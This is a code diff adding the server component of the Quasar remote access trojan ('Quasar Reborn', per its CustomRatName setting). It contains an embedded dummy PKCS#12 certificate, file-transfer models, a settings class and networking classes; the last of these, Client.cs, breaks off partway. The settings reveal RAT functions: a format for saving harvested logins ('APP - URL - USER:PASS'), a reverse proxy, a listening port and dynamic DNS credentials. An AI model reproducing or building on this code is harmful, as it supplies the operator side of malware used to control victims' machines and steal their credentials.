152, 13, 65, + 222, 220, 49, 45, 202, 210, 249, 122, 135, 178, 19, 49, 16, 149, 203, 203, 62, 131, 91, 17, 171, 164, 149, + 34, 226, 96, 123, 32, 141, 102, 158, 186, 241, 59, 192, 186, 36, 41, 133, 115, 108, 121, 34, 104, 57, 141, + 167, 160, 58, 95, 171, 215, 122, 153, 129, 166, 10, 190, 60, 51, 70, 157, 141, 11, 104, 255, 111, 160, 173, + 174, 77, 83, 63, 130, 219, 36, 90, 254, 34, 55, 195, 216, 112, 194, 15, 126, 149, 143, 145, 175, 72, 24, + 120, 140, 217, 215, 27, 107, 240, 196, 196, 234, 81, 154, 152, 12, 44, 108, 173, 210, 32, 181, 172, 148, 75, + 71, 89, 136, 224, 28, 229, 121, 76, 64, 60, 200, 60, 200, 88, 193, 217, 252, 162, 181, 215, 99, 86, 47, 181, + 16, 49, 65, 158, 78, 130, 204, 188, 196, 25, 224, 201, 106, 237, 103, 183, 96, 58, 64, 185, 28, 66, 178, + 213, 47, 103, 26, 89, 33, 97, 248, 34, 232, 27, 30, 93, 57, 1, 236, 105, 46, 59, 4, 188, 47, 182, 150, 65, + 195, 107, 203, 52, 149, 240, 16, 130, 254, 189, 98, 56, 221, 177, 163, 66, 62, 123, 0, 252, 169, 178, 166, + 68, 167, 75, 64, 161, 80, 85, 196, 98, 209, 248, 46, 115, 188, 0, 160, 123, 147, 79, 151, 188, 206, 158, + 145, 42, 212, 205, 37, 163, 76, 221, 146, 51, 229, 181, 127, 53, 157, 142, 107, 215, 231, 181, 32, 110, 2, + 13, 55, 122, 56, 226, 158, 126, 124, 193, 193, 172, 222, 9, 211, 83, 166, 69, 95, 145, 169, 31, 211, 139, + 62, 215, 90, 226, 244, 129, 197, 143, 228, 185, 206, 236, 90, 218, 189, 234, 69, 57, 25, 49, 152, 175, 211, + 136, 202, 160, 116, 56, 118, 27, 204, 213, 3, 163, 97, 194, 156, 213, 7, 9, 254, 203, 230, 252, 173, 231, + 197, 135, 224, 3, 206, 157, 166, 193, 184, 153, 57, 253, 229, 87, 234, 118, 50, 163, 151, 53, 82, 206, 36, + 206, 128, 41, 180, 11, 30, 110, 49, 216, 236, 201, 46, 88, 157, 92, 221, 106, 88, 82, 198, 33, 91, 171, 117, + 88, 146, 58, 2, 30, 233, 215, 105, 141, 228, 183, 124, 244, 231, 224, 165, 131, 9, 33, 230, 211, 56, 215, + 221, 38, 141, 158, 48, 250, 119, 102, 226, 206, 32, 70, 140, 53, 210, 12, 206, 88, 220, 35, 2, 195, 157, 7, + 9, 215, 158, 85, 149, 89, 101, 46, 3, 253, 195, 82, 2, 12, 19, 149, 52, 209, 8, 242, 145, 34, 109, 185, 236, + 18, 2, 109, 96, 251, 3, 169, 68, 185, 63, 6, 213, 239, 100, 248, 111, 131, 243, 252, 214, 16, 140, 38, 159, + 138, 17, 141, 98, 96, 137, 140, 243, 11, 120, 69, 229, 212, 71, 2, 254, 98, 171, 207, 69, 72, 70, 186, 83, + 193, 208, 174, 125, 197, 148, 69, 35, 147, 134, 156, 106, 41, 72, 111, 140, 65, 185, 110, 212, 225, 34, 198, + 198, 47, 142, 160, 78, 217, 170, 7, 114, 50, 164, 217, 15, 37, 186, 211, 124, 75, 133, 64, 165, 120, 246, + 22, 226, 204, 186, 137, 154, 130, 142, 238, 147, 188, 206, 129, 19, 177, 117, 166, 180, 211, 16, 221, 29, + 112, 161, 109, 137, 224, 173, 205, 53, 158, 63, 198, 250, 131, 145, 118, 119, 12, 157, 94, 232, 27, 60, 254, + 57, 223, 154, 185, 96, 127, 137, 166, 238, 1, 58, 153, 154, 188, 9, 89, 20, 102, 191, 2, 106, 31, 27, 11, + 221, 206, 26, 145, 142, 192, 196, 28, 230, 213, 149, 52, 63, 48, 137, 25, 254, 27, 205, 207, 20, 5, 12, 37, + 34, 98, 188, 70, 50, 181, 187, 224, 166, 251, 59, 47, 226, 11, 130, 158, 52, 28, 70, 162, 165, 49, 111, 198, + 39, 64, 90, 213, 7, 91, 38, 95, 126, 160, 222, 205, 89, 27, 39, 1, 148, 126, 204, 179, 207, 235, 184, 7, 74, + 37, 64, 189, 167, 234, 196, 149, 160, 24, 111, 152, 246, 17, 184, 83, 189, 158, 106, 78, 221, 108, 87, 128, + 113, 112, 207, 53, 93, 48, 65, 128, 64, 194, 141, 126, 185, 130, 190, 66, 1, 20, 245, 213, 137, 66, 119, 18, + 225, 24, 225, 193, 179, 76, 132, 207, 169, 66, 221, 180, 135, 80, 17, 52, 243, 129, 80, 64, 151, 14, 65, + 233, 83, 72, 49, 251, 59, 67, 92, 87, 110, 34, 77, 14, 168, 126, 236, 155, 238, 213, 60, 233, 173, 83, 150, + 105, 241, 255, 97, 54, 48, 32, 93, 52, 30, 25, 227, 37, 151, 191, 46, 59, 19, 19, 225, 68, 161, 179, 19, + 144, 207, 67, 230, 67, 45, 197, 4, 162, 215, 43, 80, 96, 124, 130, 246, 27, 164, 94, 174, 205, 98, 102, 83, + 173, 247, 21, 11, 250, 32, 119, 29, 77, 42, 190, 97, 134, 48, 219, 57, 50, 52, 55, 184, 242, 109, 136, 100, + 214, 224, 129, 197, 233, 130, 119, 0, 242, 203, 131, 124, 175, 210, 225, 56, 53, 238, 177, 236, 77, 173, 82, + 83, 223, 217, 232, 149, 146, 184, 166, 40, 126, 134, 34, 50, 204, 75, 120, 124, 62, 139, 166, 244, 2, 38, + 172, 55, 41, 38, 206, 160, 17, 30, 163, 160, 110, 81, 182, 56, 1, 225, 252, 100, 24, 24, 231, 188, 239, 106, + 162, 108, 87, 120, 51, 80, 96, 184, 252, 121, 238, 164, 197, 30, 205, 52, 54, 95, 27, 96, 227, 161, 87, 127, + 98, 255, 5, 10, 92, 76, 93, 110, 237, 22, 176, 152, 10, 145, 194, 233, 38, 148, 237, 233, 134, 202, 52, 239, + 169, 47, 243, 189, 103, 232, 142, 146, 215, 49, 130, 1, 3, 48, 19, 6, 9, 42, 134, 72, 134, 247, 13, 1, 9, + 21, 49, 6, 4, 4, 1, 0, 0, 0, 48, 113, 6, 9, 42, 134, 72, 134, 247, 13, 1, 9, 20, 49, 100, 30, 98, 0, 66, 0, + 111, 0, 117, 0, 110, 0, 99, 0, 121, 0, 67, 0, 97, 0, 115, 0, 116, 0, 108, 0, 101, 0, 45, 0, 97, 0, 48, 0, + 48, 0, 101, 0, 98, 0, 48, 0, 102, 0, 54, 0, 45, 0, 98, 0, 50, 0, 99, 0, 54, 0, 45, 0, 52, 0, 51, 0, 57, 0, + 57, 0, 45, 0, 98, 0, 56, 0, 52, 0, 52, 0, 45, 0, 52, 0, 102, 0, 55, 0, 98, 0, 56, 0, 97, 0, 53, 0, 99, 0, + 99, 0, 97, 0, 51, 0, 101, 48, 121, 6, 9, 43, 6, 1, 4, 1, 130, 55, 17, 1, 49, 108, 30, 106, 0, 77, 0, 105, 0, + 99, 0, 114, 0, 111, 0, 115, 0, 111, 0, 102, 0, 116, 0, 32, 0, 69, 0, 110, 0, 104, 0, 97, 0, 110, 0, 99, 0, + 101, 0, 100, 0, 32, 0, 82, 0, 83, 0, 65, 0, 32, 0, 97, 0, 110, 0, 100, 0, 32, 0, 65, 0, 69, 0, 83, 0, 32, 0, + 67, 0, 114, 0, 121, 0, 112, 0, 116, 0, 111, 0, 103, 0, 114, 0, 97, 0, 112, 0, 104, 0, 105, 0, 99, 0, 32, 0, + 80, 0, 114, 0, 111, 0, 118, 0, 105, 0, 100, 0, 101, 0, 114, 48, 130, 5, 143, 6, 9, 42, 134, 72, 134, 247, + 13, 1, 7, 6, 160, 130, 5, 128, 48, 130, 5, 124, 2, 1, 0, 48, 130, 5, 117, 6, 9, 42, 134, 72, 134, 247, 13, + 1, 7, 1, 48, 28, 6, 10, 42, 134, 72, 134, 247, 13, 1, 12, 1, 3, 48, 14, 4, 8, 197, 180, 184, 234, 62, 183, + 126, 192, 2, 2, 7, 208, 128, 130, 5, 72, 82, 253, 63, 238, 110, 242, 96, 184, 169, 64, 162, 143, 164, 116, + 242, 201, 183, 48, 112, 176, 72, 130, 247, 187, 199, 107, 16, 243, 59, 238, 135, 24, 177, 105, 228, 132, 35, + 235, 193, 103, 217, 193, 235, 32, 106, 47, 90, 187, 129, 92, 191, 73, 144, 37, 5, 197, 190, 39, 243, 83, 21, + 161, 49, 59, 4, 20, 196, 238, 174, 98, 66, 242, 28, 1, 64, 47, 11, 244, 179, 45, 233, 11, 14, 243, 228, 32, + 116, 163, 144, 99, 153, 3, 60, 140, 225, 179, 5, 36, 120, 230, 202, 163, 174, 255, 75, 237, 233, 47, 60, + 199, 128, 161, 221, 232, 62, 29, 141, 232, 203, 237, 235, 192, 63, 11, 131, 67, 115, 141, 127, 14, 162, 124, + 17, 103, 207, 77, 158, 149, 108, 91, 67, 135, 123, 167, 133, 118, 22, 129, 57, 232, 95, 163, 123, 170, 191, + 180, 46, 205, 125, 163, 109, 20, 74, 227, 189, 68, 215, 146, 212, 38, 127, 73, 195, 207, 222, 227, 134, 145, + 6, 21, 223, 217, 237, 134, 129, 140, 153, 182, 143, 250, 219, 162, 254, 157, 18, 16, 141, 176, 249, 165, + 118, 85, 98, 35, 139, 214, 165, 27, 23, 63, 182, 201, 104, 202, 124, 81, 213, 194, 8, 108, 81, 126, 142, + 221, 175, 122, 165, 16, 153, 170, 31, 178, 122, 86, 73, 133, 136, 34, 177, 129, 90, 72, 24, 251, 91, 246, + 76, 186, 195, 122, 227, 93, 26, 71, 137, 201, 99, 222, 196, 156, 62, 195, 88, 46, 29, 254, 83, 23, 41, 143, + 103, 111, 79, 206, 5, 207, 10, 168, 23, 18, 197, 245, 24, 70, 154, 226, 196, 70, 147, 119, 217, 198, 196, + 171, 33, 121, 64, 180, 51, 50, 85, 57, 93, 179, 240, 248, 233, 139, 7, 191, 75, 193, 123, 119, 42, 239, 228, + 95, 145, 90, 67, 178, 119, 229, 71, 139, 57, 188, 152, 152, 153, 155, 1, 94, 238, 174, 215, 145, 56, 255, + 190, 101, 2, 136, 71, 228, 28, 7, 0, 166, 10, 122, 152, 40, 39, 125, 97, 206, 39, 41, 119, 61, 87, 14, 234, + 251, 29, 109, 14, 132, 20, 234, 182, 228, 218, 39, 4, 5, 118, 22, 37, 249, 138, 243, 253, 137, 27, 151, 87, + 27, 37, 77, 149, 96, 152, 24, 56, 1, 64, 231, 162, 137, 243, 105, 255, 97, 35, 41, 12, 25, 197, 79, 167, 79, + 187, 73, 229, 148, 253, 203, 46, 186, 201, 126, 225, 0, 218, 151, 176, 14, 243, 43, 178, 128, 153, 47, 182, + 215, 45, 3, 39, 191, 73, 215, 148, 26, 15, 98, 88, 41, 241, 160, 143, 77, 208, 218, 204, 113, 105, 169, 170, + 181, 93, 137, 112, 248, 17, 158, 240, 115, 117, 9, 220, 50, 103, 126, 151, 227, 146, 168, 132, 214, 100, + 167, 30, 113, 117, 163, 174, 177, 1, 88, 191, 53, 218, 213, 48, 39, 62, 179, 88, 37, 212, 69, 173, 199, 226, + 152, 80, 175, 165, 79, 67, 212, 249, 70, 109, 3, 160, 46, 253, 197, 14, 75, 79, 48, 4, 128, 217, 254, 167, + 114, 126, 46, 179, 36, 64, 3, 48, 216, 53, 50, 100, 80, 141, 48, 100, 32, 60, 109, 58, 216, 38, 218, 242, + 28, 117, 187, 163, 193, 168, 78, 6, 27, 200, 73, 103, 204, 80, 85, 174, 61, 143, 227, 84, 226, 127, 196, + 151, 18, 5, 128, 12, 187, 137, 68, 219, 159, 132, 113, 105, 243, 230, 96, 50, 26, 88, 102, 78, 102, 76, 14, + 252, 89, 180, 192, 85, 243, 127, 87, 123, 233, 136, 17, 174, 223, 103, 203, 187, 56, 129, 229, 199, 190, + 120, 25, 18, 61, 140, 197, 3, 66, 10, 65, 217, 235, 165, 62, 112, 119, 101, 106, 184, 203, 169, 184, 115, 2, + 205, 8, 125, 153, 84, 195, 215, 139, 249, 195, 102, 108, 79, 23, 177, 131, 212, 229, 39, 8, 176, 233, 188, + 216, 199, 37, 109, 122, 101, 81, 98, 178, 167, 215, 12, 37, 27, 137, 165, 249, 131, 40, 202, 162, 36, 184, + 88, 76, 185, 246, 167, 125, 116, 198, 109, 135, 98, 124, 223, 188, 186, 216, 155, 224, 237, 140, 52, 203, + 89, 65, 121, 251, 216, 85, 212, 164, 98, 204, 253, 102, 246, 19, 158, 187, 186, 60, 94, 44, 62, 147, 243, + 183, 82, 6, 28, 87, 198, 133, 28, 129, 12, 55, 84, 163, 238, 46, 176, 28, 132, 44, 199, 234, 28, 73, 27, + 190, 108, 85, 146, 53, 248, 134, 30, 227, 172, 250, 77, 225, 101, 105, 167, 99, 214, 192, 31, 3, 96, 52, 51, + 237, 165, 164, 101, 228, 88, 251, 44, 142, 225, 98, 72, 180, 50, 13, 66, 59, 173, 238, 197, 168, 188, 28, + 135, 195, 69, 247, 87, 216, 50, 52, 227, 16, 127, 162, 23, 58, 20, 120, 62, 184, 62, 122, 23, 209, 110, 168, + 26, 1, 182, 1, 130, 111, 224, 191, 93, 202, 68, 76, 243, 38, 225, 80, 219, 232, 145, 191, 84, 27, 69, 41, + 125, 229, 148, 119, 183, 52, 95, 219, 152, 41, 182, 89, 254, 166, 155, 125, 26, 233, 98, 150, 146, 10, 53, + 171, 176, 31, 138, 99, 74, 34, 228, 72, 202, 5, 120, 160, 135, 185, 222, 227, 42, 233, 74, 219, 101, 213, 2, + 112, 46, 108, 45, 49, 158, 185, 241, 83, 240, 167, 0, 140, 160, 194, 171, 2, 150, 96, 145, 214, 109, 31, 83, + 84, 62, 147, 54, 236, 193, 231, 187, 223, 83, 62, 251, 24, 79, 41, 30, 133, 241, 251, 191, 90, 187, 231, + 123, 115, 120, 41, 32, 134, 228, 202, 91, 81, 112, 34, 201, 223, 39, 208, 79, 117, 244, 151, 247, 98, 125, + 193, 220, 152, 195, 226, 1, 135, 24, 13, 227, 1, 24, 226, 101, 167, 131, 219, 173, 198, 31, 113, 248, 174, + 125, 159, 108, 79, 129, 7, 253, 13, 148, 21, 24, 123, 46, 56, 195, 15, 151, 197, 50, 251, 8, 48, 14, 164, + 51, 101, 46, 186, 241, 222, 221, 24, 99, 236, 255, 76, 3, 236, 67, 81, 154, 144, 196, 18, 119, 139, 127, + 241, 1, 89, 102, 172, 142, 87, 134, 56, 81, 120, 191, 242, 168, 237, 47, 143, 117, 146, 179, 137, 123, 243, + 14, 116, 94, 46, 219, 228, 209, 9, 94, 245, 83, 145, 153, 5, 62, 120, 49, 23, 36, 202, 50, 168, 108, 206, + 236, 119, 112, 187, 112, 120, 134, 62, 252, 108, 143, 115, 235, 254, 196, 119, 60, 163, 223, 188, 175, 57, + 77, 236, 99, 99, 197, 127, 196, 39, 58, 39, 24, 10, 212, 227, 37, 248, 219, 112, 161, 176, 82, 199, 97, 179, + 252, 60, 98, 209, 44, 161, 5, 63, 54, 154, 66, 9, 1, 56, 42, 25, 140, 75, 177, 135, 136, 212, 18, 241, 178, + 235, 115, 17, 99, 158, 113, 17, 4, 192, 30, 176, 238, 68, 171, 120, 76, 52, 145, 103, 30, 242, 130, 185, 85, + 19, 50, 180, 88, 213, 4, 62, 190, 238, 172, 203, 145, 233, 45, 53, 228, 144, 16, 180, 96, 89, 231, 141, 146, + 106, 199, 65, 241, 227, 173, 126, 204, 183, 18, 8, 18, 223, 196, 225, 151, 115, 0, 101, 21, 96, 49, 47, 130, + 18, 204, 70, 52, 189, 5, 107, 171, 47, 36, 209, 8, 166, 23, 183, 222, 154, 226, 13, 197, 166, 222, 197, 182, + 50, 155, 180, 156, 105, 244, 205, 226, 29, 128, 90, 126, 38, 9, 166, 195, 86, 22, 107, 253, 160, 163, 95, + 15, 23, 254, 115, 14, 219, 16, 159, 217, 116, 28, 13, 199, 147, 205, 182, 225, 185, 207, 89, 192, 169, 93, + 205, 226, 196, 204, 23, 168, 185, 121, 109, 126, 52, 222, 109, 248, 235, 64, 88, 101, 188, 246, 150, 193, + 90, 29, 131, 134, 149, 170, 240, 146, 169, 149, 250, 17, 49, 162, 6, 233, 194, 83, 210, 129, 141, 76, 115, + 151, 173, 48, 59, 48, 31, 48, 7, 6, 5, 43, 14, 3, 2, 26, 4, 20, 46, 139, 176, 16, 247, 139, 61, 176, 37, 63, + 246, 211, 123, 201, 3, 7, 235, 129, 230, 125, 4, 20, 175, 27, 113, 89, 19, 230, 155, 210, 161, 63, 10, 47, + 233, 189, 221, 31, 172, 172, 134, 47, 2, 2, 7, 208 + }; + + /// + /// Initializes a new instance of with a static dummy certificate. + /// + public DummyCertificate() :base(CertificateBytes) + { + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Models/FileManagerListTag.cs b/Quasar-1.4.1/Quasar.Server/Models/FileManagerListTag.cs new file mode 100755 index 0000000..1229c5f --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Models/FileManagerListTag.cs @@ -0,0 +1,17 @@ +using Quasar.Common.Enums; + +namespace Quasar.Server.Models +{ + public class FileManagerListTag + { + public FileType Type { get; set; } + + public long FileSize { get; set; } + + public FileManagerListTag(FileType type, long fileSize) + { + this.Type = type; + this.FileSize = fileSize; + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Models/FileTransfer.cs b/Quasar-1.4.1/Quasar.Server/Models/FileTransfer.cs new file mode 100755 index 0000000..e35f663 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Models/FileTransfer.cs @@ -0,0 +1,71 @@ +using Quasar.Common.IO; +using Quasar.Common.Utilities; +using Quasar.Server.Enums; +using System; + +namespace Quasar.Server.Models +{ + public class FileTransfer : IEquatable + { + private static readonly SafeRandom Random = new SafeRandom(); + + public int Id { get; set; } + public TransferType Type { get; set; } + public long Size { get; set; } + public long TransferredSize { get; set; } + public string LocalPath { get; set; } + public string RemotePath { get; set; } + public string Status { get; set; } + public FileSplit FileSplit { get; set; } + + public bool Equals(FileTransfer other) + { + if (ReferenceEquals(null, other)) return false; + if (ReferenceEquals(this, other)) return true; + return Id == other.Id && Type == other.Type && Size == other.Size && + TransferredSize == other.TransferredSize && string.Equals(LocalPath, other.LocalPath) && + string.Equals(RemotePath, other.RemotePath) && string.Equals(Status, other.Status); + } + + /// + /// Creates a new object that is a copy of the current instance. + /// + /// A new object that is a copy of this instance. + public FileTransfer Clone() + { + return new FileTransfer() + { + Id = Id, Type = Type, Size = Size, TransferredSize = TransferredSize, LocalPath = LocalPath, + RemotePath = RemotePath, Status = Status, FileSplit = FileSplit + }; + } + + public static bool operator ==(FileTransfer f1, FileTransfer f2) + { + if (ReferenceEquals(f1, null)) + return ReferenceEquals(f2, null); + + return f1.Equals(f2); + } + + public static bool operator !=(FileTransfer f1, FileTransfer f2) + { + return !(f1 == f2); + } + + public override bool Equals(object obj) + { + return Equals(obj as FileTransfer); + } + + public override int GetHashCode() + { + return Id; + } + + public static int GetRandomTransferId() + { + return Random.Next(0, int.MaxValue); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Models/Settings.cs b/Quasar-1.4.1/Quasar.Server/Models/Settings.cs new file mode 100755 index 0000000..b98c684 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Models/Settings.cs @@ -0,0 +1,261 @@ +using System.IO; +using System.Windows.Forms; +using System.Xml; +using System.Xml.XPath; + +namespace Quasar.Server.Models +{ + public static class Settings + { + private static readonly string SettingsPath = Path.Combine(Application.StartupPath, "settings.xml"); + + public static readonly string CertificatePath = Path.Combine(Application.StartupPath, "quasar.p12"); + + public static ushort ListenPort + { + get + { + return ushort.Parse(ReadValueSafe("ListenPort", "4782")); + } + set + { + WriteValue("ListenPort", value.ToString()); + } + } + + public static bool IPv6Support + { + get + { + return bool.Parse(ReadValueSafe("IPv6Support", "False")); + } + set + { + WriteValue("IPv6Support", value.ToString()); + } + } + + public static bool AutoListen + { + get + { + return bool.Parse(ReadValueSafe("AutoListen", "False")); + } + set + { + WriteValue("AutoListen", value.ToString()); + } + } + + public static bool ShowPopup + { + get + { + return bool.Parse(ReadValueSafe("ShowPopup", "False")); + } + set + { + WriteValue("ShowPopup", value.ToString()); + } + } + + public static bool UseUPnP + { + get + { + return bool.Parse(ReadValueSafe("UseUPnP", "False")); + } + set + { + WriteValue("UseUPnP", value.ToString()); + } + } + + public static bool ShowToolTip + { + get + { + return bool.Parse(ReadValueSafe("ShowToolTip", "False")); + } + set + { + WriteValue("ShowToolTip", value.ToString()); + } + } + + public static bool EnableNoIPUpdater + { + get + { + return bool.Parse(ReadValueSafe("EnableNoIPUpdater", "False")); + } + set + { + WriteValue("EnableNoIPUpdater", value.ToString()); + } + } + + public static string NoIPHost + { + get + { + return ReadValueSafe("NoIPHost"); + } + set + { + WriteValue("NoIPHost", value); + } + } + + public static string NoIPUsername + { + get + { + return ReadValueSafe("NoIPUsername"); + } + set + { + WriteValue("NoIPUsername", value); + } + } + + public static string NoIPPassword + { + get + { + return ReadValueSafe("NoIPPassword"); + } + set + { + WriteValue("NoIPPassword", value); + } + } + + public static string SaveFormat + { + get + { + return ReadValueSafe("SaveFormat", "APP - URL - USER:PASS"); + } + set + { + WriteValue("SaveFormat", value); + } + } + + public static ushort ReverseProxyPort + { + get + { + return ushort.Parse(ReadValueSafe("ReverseProxyPort", "3128")); + } + set + { + WriteValue("ReverseProxyPort", value.ToString()); + } + } + + public static bool DarkMode + { + get + { + return bool.Parse(ReadValueSafe("DarkMode", "False")); + } + set + { + WriteValue("DarkMode", value.ToString()); + } + } + + public static string CustomRatName + { + get + { + return ReadValueSafe("CustomRatName", "Quasar Reborn"); + } + set + { + WriteValue("CustomRatName", value); + } + } + + public static bool FlatContextMenu + { + get + { + return bool.Parse(ReadValueSafe("FlatContextMenu", "False")); + } + set + { + WriteValue("FlatContextMenu", value.ToString()); + } + } + + private static string ReadValue(string pstrValueToRead) + { + try + { + XPathDocument doc = new XPathDocument(SettingsPath); + XPathNavigator nav = doc.CreateNavigator(); + XPathExpression expr = nav.Compile(@"/settings/" + pstrValueToRead); + XPathNodeIterator iterator = nav.Select(expr); + while (iterator.MoveNext()) + { + return iterator.Current.Value; + } + + return string.Empty; + } + catch + { + return string.Empty; + } + } + + private static string ReadValueSafe(string pstrValueToRead, string defaultValue = "") + { + string value = ReadValue(pstrValueToRead); + return (!string.IsNullOrEmpty(value)) ? value: defaultValue; + } + + private static void WriteValue(string pstrValueToRead, string pstrValueToWrite) + { + try + { + XmlDocument doc = new XmlDocument(); + + if (File.Exists(SettingsPath)) + { + using (var reader = new XmlTextReader(SettingsPath)) + { + doc.Load(reader); + } + } + else + { + var dir = Path.GetDirectoryName(SettingsPath); + if (!Directory.Exists(dir)) + { + Directory.CreateDirectory(dir); + } + doc.AppendChild(doc.CreateElement("settings")); + } + + XmlElement root = doc.DocumentElement; + XmlNode oldNode = root.SelectSingleNode(@"/settings/" + pstrValueToRead); + if (oldNode == null) // create if not exist + { + oldNode = doc.SelectSingleNode("settings"); + oldNode.AppendChild(doc.CreateElement(pstrValueToRead)).InnerText = pstrValueToWrite; + doc.Save(SettingsPath); + return; + } + oldNode.InnerText = pstrValueToWrite; + doc.Save(SettingsPath); + } + catch + { + } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Networking/BufferPool.cs b/Quasar-1.4.1/Quasar.Server/Networking/BufferPool.cs new file mode 100755 index 0000000..20f77c6 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Networking/BufferPool.cs @@ -0,0 +1,178 @@ +using System; +using System.Collections.Generic; + +namespace Quasar.Server.Networking +{ + /// + /// Implements a pool of byte arrays to improve allocation performance when parsing data. + /// + /// This type is safe for multi-threaded operations. + public class BufferPool + { + private readonly int _bufferLength; + private int _bufferCount; + private readonly Stack _buffers; + + /// + /// Gets the size of the buffers allocated from this pool. + /// + public int BufferLength => _bufferLength; + + /// + /// Gets the maximum number of buffers available at any given time from this pool. + /// + public int MaxBufferCount => _bufferCount; + + /// + /// Gets the current number of buffers available for use. + /// + public int BuffersAvailable => _buffers.Count; + + /// + /// Gets or sets whether to zero the contents of a buffer when it is returned. + /// + public bool ClearOnReturn { get; set; } + + /// + /// Creates a new buffer pool with the specified name, buffer sizes, and buffer count. + /// + /// The size of the preallocated buffers. + /// The number of preallocated buffers that should be available. + /// Thrown if or + /// are zero or negative. + public BufferPool(int baseBufferLength, int baseBufferCount) + { + if (baseBufferLength <= 0) + throw new ArgumentOutOfRangeException("baseBufferLength", baseBufferLength, "Buffer length must be a positive integer value."); + if (baseBufferCount <= 0) + throw new ArgumentOutOfRangeException("baseBufferCount", baseBufferCount, "Buffer count must be a positive integer value."); + + _bufferLength = baseBufferLength; + _bufferCount = baseBufferCount; + + _buffers = new Stack(baseBufferCount); + + for (int i = 0; i < baseBufferCount; i++) + { + _buffers.Push(new byte[baseBufferLength]); + } + } + + /// + /// Gets a buffer from the available pool if one is available, or else allocates a new one. + /// + /// + /// Buffers retrieved with this method should be returned to the pool by using the + /// ReturnBuffer method. + /// + /// A byte[] from the pool. + public byte[] GetBuffer() + { + lock (_buffers) + { + if (_buffers.Count > 0) + { + byte[] buffer = _buffers.Pop(); + return buffer; + } + } + + return AllocateNewBuffer(); + } + + private byte[] AllocateNewBuffer() + { + _bufferCount++; + return new byte[_bufferLength]; + } + + /// + /// Returns the specified buffer to the pool. + /// + /// if the buffer belonged to this pool and was freed; otherwise . + /// + /// If the ClearOnFree property is , then the buffer will be zeroed before + /// being restored to the pool. + /// + /// The buffer to return to the pool. + /// Thrown if is . + public bool ReturnBuffer(byte[] buffer) + { + if (buffer == null) + throw new ArgumentNullException("buffer"); + if (buffer.Length != _bufferLength) + return false; + + if (ClearOnReturn) + Array.Clear(buffer, 0, buffer.Length); + + lock (_buffers) + { + if (!_buffers.Contains(buffer)) + _buffers.Push(buffer); + } + return true; + } + + /// + /// Increases the number of buffers available in the pool by a given size. + /// + /// The number of buffers to preallocate. + /// Thrown if the system is unable to preallocate the requested number of buffers. + /// Thrown if is less than or equal to 0. + /// + /// This method does not cause the NewBufferAllocated event to be raised. + /// + public void IncreaseBufferCount(int buffersToAdd) + { + if (buffersToAdd <= 0) + throw new ArgumentOutOfRangeException("buffersToAdd", buffersToAdd, "The number of buffers to add must be a nonnegative, nonzero integer."); + + List newBuffers = new List(buffersToAdd); + for (int i = 0; i < buffersToAdd; i++) + { + newBuffers.Add(new byte[_bufferLength]); + } + + lock (_buffers) + { + _bufferCount += buffersToAdd; + for (int i = 0; i < buffersToAdd; i++) + { + _buffers.Push(newBuffers[i]); + } + } + } + + /// + /// Removes up to the specified number of buffers from the pool. + /// + /// The number of buffers to attempt to remove. + /// The number of buffers actually removed. + /// + /// The number of buffers removed may actually be lower than the number requested if the specified number of buffers are not free. + /// For example, if the number of buffers free is 15, and the callee requests the removal of 20 buffers, only 15 will be freed, and so the + /// returned value will be 15. + /// + /// Thrown if is less than or equal to 0. + public int DecreaseBufferCount(int buffersToRemove) + { + if (buffersToRemove <= 0) + throw new ArgumentOutOfRangeException("buffersToRemove", buffersToRemove, "The number of buffers to remove must be a nonnegative, nonzero integer."); + + int numRemoved = 0; + + lock (_buffers) + { + for (int i = 0; i < buffersToRemove && _buffers.Count > 0; i++) + { + _buffers.Pop(); + numRemoved++; + _bufferCount--; + } + } + + return numRemoved; + } + } +} \ No newline at end of file diff --git a/Quasar-1.4.1/Quasar.Server/Networking/Client.cs b/Quasar-1.4.1/Quasar.Server/Networking/Client.cs new file mode 100755 index 0000000..d913b7e --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Networking/Client.cs @@ -0,0 +1,590 @@ +using Quasar.Common.Messages; +using Quasar.Common.Networking; +using System; +using System.Collections.Generic; +using System.Net; +using System.Net.Security; +using System.Threading; + +namespace Quasar.Server.Networking +{ + public class Client : IEquatable, ISender + { + /// + /// Occurs when the state of the client changes. + /// + public event ClientStateEventHandler ClientState; + + /// + /// Represents the method that will handle a change in a client's state. + /// + /// The client which changed its state. + /// The new connection state of the client. + public delegate void ClientStateEventHandler(Client s, bool connected); + + /// + /// Fires an event that informs subscribers that the state of the client has changed. + /// + /// The new connection state of the client. + private void OnClientState(bool connected) + { + if (Connected == connected) return; + + Connected = connected; + + var handler = ClientState; + handler?.Invoke(this, connected); + } + + /// + /// Occurs when a message is received from the client. + /// + public event ClientReadEventHandler ClientRead; + + /// + /// Represents the method that will handle a message received from the client. + /// + /// The client that has received the message. + /// The message that received by the client. + /// The length of the message. + public delegate void ClientReadEventHandler(Client s, IMessage message, int messageLength); + + /// + /// Fires an event that informs subscribers that a message has been + /// received from the client. + /// + /// The message that received by the client. + /// The length of the message. + private void OnClientRead(IMessage message, int messageLength) + { + var handler = ClientRead; + handler?.Invoke(this, message, messageLength); + } + + /// + /// Occurs when a message is sent by the client. + /// + public event ClientWriteEventHandler ClientWrite; + + /// + /// Represents the method that will handle the sent message. + /// + /// The client that has sent the message. + /// The message that has been sent by the client. + /// The length of the message. + public delegate void ClientWriteEventHandler(Client s, IMessage message, int messageLength); + + /// + /// Fires an event that informs subscribers that the client has sent a message. + /// + /// The message that has been sent by the client. + /// The length of the message. + private void OnClientWrite(IMessage message, int messageLength) + { + var handler = ClientWrite; + handler?.Invoke(this, message, messageLength); + } + + public static bool operator ==(Client c1, Client c2) + { + if (ReferenceEquals(c1, null)) + return ReferenceEquals(c2, null); + + return c1.Equals(c2); + } + + public static bool operator !=(Client c1, Client c2) + { + return !(c1 == c2); + } + + /// + /// Checks whether the clients are equal. + /// + /// Client to compare with. + /// True if equal, else False. + public bool Equals(Client other) + { + if (ReferenceEquals(null, other)) return false; + if (ReferenceEquals(this, other)) return true; + + try + { + // the port is always unique for each client + return this.EndPoint.Port.Equals(other.EndPoint.Port); + } + catch (Exception) + { + return false; + } + } + + public override bool Equals(object obj) + { + return this.Equals(obj as Client); + 